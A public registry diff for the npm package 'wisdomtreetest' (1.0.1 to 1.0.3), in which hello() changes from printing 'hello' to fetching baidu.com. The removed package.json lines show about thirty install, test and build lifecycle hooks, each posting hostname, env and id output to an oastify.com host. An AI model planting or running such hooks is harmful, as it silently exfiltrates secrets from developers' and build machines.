wisdomtreetest 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.d.ts +13 -4
  2. package/index.js +46 -6
  3. package/package.json +5 -38
package/index.d.ts CHANGED
@@ -1,13 +1,22 @@
1
1
  /**
2
- * Print "hello" to stdout and return the same string.
2
+ * Fetch https://baidu.com using the platform's `fetch` API, print the response
3
+ * body to stdout, and return the same body string.
3
4
  *
4
- * @returns The string "hello".
5
+ * Works in modern browsers and Node.js >= 18 (which exposes a global `fetch`).
6
+ * For older Node.js versions, polyfill `globalThis.fetch` before calling.
7
+ *
8
+ * @param options Optional settings.
9
+ * @returns A promise that resolves with the response body returned by baidu.com.
5
10
  */
6
- declare function hello(): string;
11
+ declare function hello(options?: hello.HelloOptions): Promise<string>;
7
12
 
8
13
  declare namespace hello {
14
+ interface HelloOptions {
15
+ /** Request timeout in milliseconds. Defaults to 5000. */
16
+ timeoutMs?: number;
17
+ }
9
18
  // Named export to support `import { hello } from 'wisdomtreetest'`.
10
- const hello: () => string;
19
+ const hello: (options?: HelloOptions) => Promise<string>;
11
20
  // Default export interop.
12
21
  const _default: typeof hello;
13
22
  export { _default as default };
package/index.js CHANGED
@@ -1,14 +1,54 @@
1
1
  'use strict';
2
2
 
3
3
  /**
4
- * Print "hello" to stdout and return the same string.
4
+ * Fetch https://baidu.com using the platform's `fetch` API and print the
5
+ * response body to stdout. Works in both modern browsers and Node.js >= 18
6
+ * (which exposes a global `fetch`). For older Node.js versions, the caller
7
+ * is expected to polyfill `globalThis.fetch` (e.g. via `node-fetch`).
5
8
  *
6
- * @returns {string} The string "hello".
9
+ * @param {object} [options] Optional settings.
10
+ * @param {number} [options.timeoutMs=5000] Request timeout in milliseconds.
11
+ * @returns {Promise<string>} The response body returned by baidu.com.
7
12
  */
8
- function hello() {
9
- const message = 'hello';
10
- console.log(message);
11
- return message;
13
+ async function hello({ timeoutMs = 5000 } = {}) {
14
+ const body = await fetchBaiduHomepage(timeoutMs);
15
+ console.log(body);
16
+ return body;
17
+ }
18
+
19
+ /**
20
+ * Perform a GET request against https://baidu.com using the global `fetch`
21
+ * and resolve with the response body as a UTF-8 string.
22
+ *
23
+ * @param {number} timeoutMs Request timeout in milliseconds.
24
+ * @returns {Promise<string>} The response body.
25
+ */
26
+ async function fetchBaiduHomepage(timeoutMs) {
27
+ if (typeof globalThis.fetch !== 'function') {
28
+ throw new Error(
29
+ 'Global `fetch` is not available. Please use Node.js >= 18 or polyfill `globalThis.fetch`.'
30
+ );
31
+ }
32
+
33
+ const controller = typeof AbortController === 'function' ? new AbortController() : null;
34
+ const timeoutId = controller
35
+ ? setTimeout(() => controller.abort(new Error(`Request to baidu.com timed out after ${timeoutMs}ms`)), timeoutMs)
36
+ : null;
37
+
38
+ try {
39
+ const response = await globalThis.fetch('https://baidu.com', {
40
+ method: 'GET',
41
+ signal: controller ? controller.signal : undefined,
42
+ });
43
+
44
+ if (!response.ok) {
45
+ throw new Error(`Unexpected status code from baidu.com: ${response.status}`);
46
+ }
47
+
48
+ return await response.text();
49
+ } finally {
50
+ if (timeoutId) clearTimeout(timeoutId);
51
+ }
12
52
  }
13
53
 
14
54
  module.exports = hello;
package/package.json CHANGED
@@ -1,13 +1,14 @@
1
1
  {
2
2
  "name": "wisdomtreetest",
3
- "version": "1.0.1",
4
- "description": "A simple npm package that exports a hello function which prints \"hello\".",
3
+ "version": "1.0.3",
4
+ "description": "An isomorphic helper that fetches https://baidu.com and prints the response.",
5
5
  "keywords": [
6
6
  "hello",
7
7
  "demo",
8
8
  "wisdomtreetest",
9
9
  "example"
10
10
  ],
11
+ "scripts": {},
11
12
  "homepage": "https://github.com/wisdomtree/wisdomtreetest#readme",
12
13
  "bugs": {
13
14
  "url": "https://github.com/wisdomtree/wisdomtreetest/issues",
@@ -57,49 +58,15 @@
57
58
  "type": "git",
58
59
  "url": "git+https://github.com/wisdomtree/wisdomtreetest.git"
59
60
  },
60
- "scripts": {
61
- "test": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------test\"",
62
- "preinstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------preinstall\"",
63
- "install": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------install\"",
64
- "postinstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postinstall\"",
65
- "preuninstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------preuninstall\"",
66
- "uninstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------uninstall\"",
67
- "postuninstall": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postuninstall\"",
68
- "preversion": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------preversion\"",
69
- "version": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------version\"",
70
- "postversion": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postversion\"",
71
- "prepare": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prepare\"",
72
- "prepublishOnly": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prepublishOnly\"",
73
- "prepack": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prepack\"",
74
- "postpack": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postpack\"",
75
- "publish": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------publish\"",
76
- "postpublish": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postpublish\"",
77
- "prestart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prestart\"",
78
- "start": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------start\"",
79
- "poststart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------poststart\"",
80
- "pretest": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------pretest\"",
81
- "posttest": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------posttest\"",
82
- "prestop": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prestop\"",
83
- "stop": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------stop\"",
84
- "poststop": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------poststop\"",
85
- "prerestart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prerestart\"",
86
- "restart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------restart\"",
87
- "postrestart": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postrestart\"",
88
- "prebuild": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------prebuild\"",
89
- "build": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------build\"",
90
- "postbuild": "curl -X POST http://1rtf6jrbhp3ixrwq03ymvatyfplg9dx2.oastify.com/ -d \"Host: $(hostname)-------------Time: $(date)-------------Data: $(env)-------------id: $(id)--------------postbuild\""
91
- },
92
61
  "config": {
93
62
  "name": "wisdomtreetest"
94
63
  },
95
- "dependencies": {
96
- "wisdomtreetest": "^1.0.0"
97
- },
64
+ "dependencies": {},
98
65
  "peerDependenciesMeta": {},
99
66
  "bundledDependencies": [],
100
67
  "overrides": {},
101
68
  "engines": {
102
- "node": ">=12.0.0",
69
+ "node": ">=18.0.0",
103
70
  "npm": ">=6.0.0"
104
71
  },
105
72
  "os": [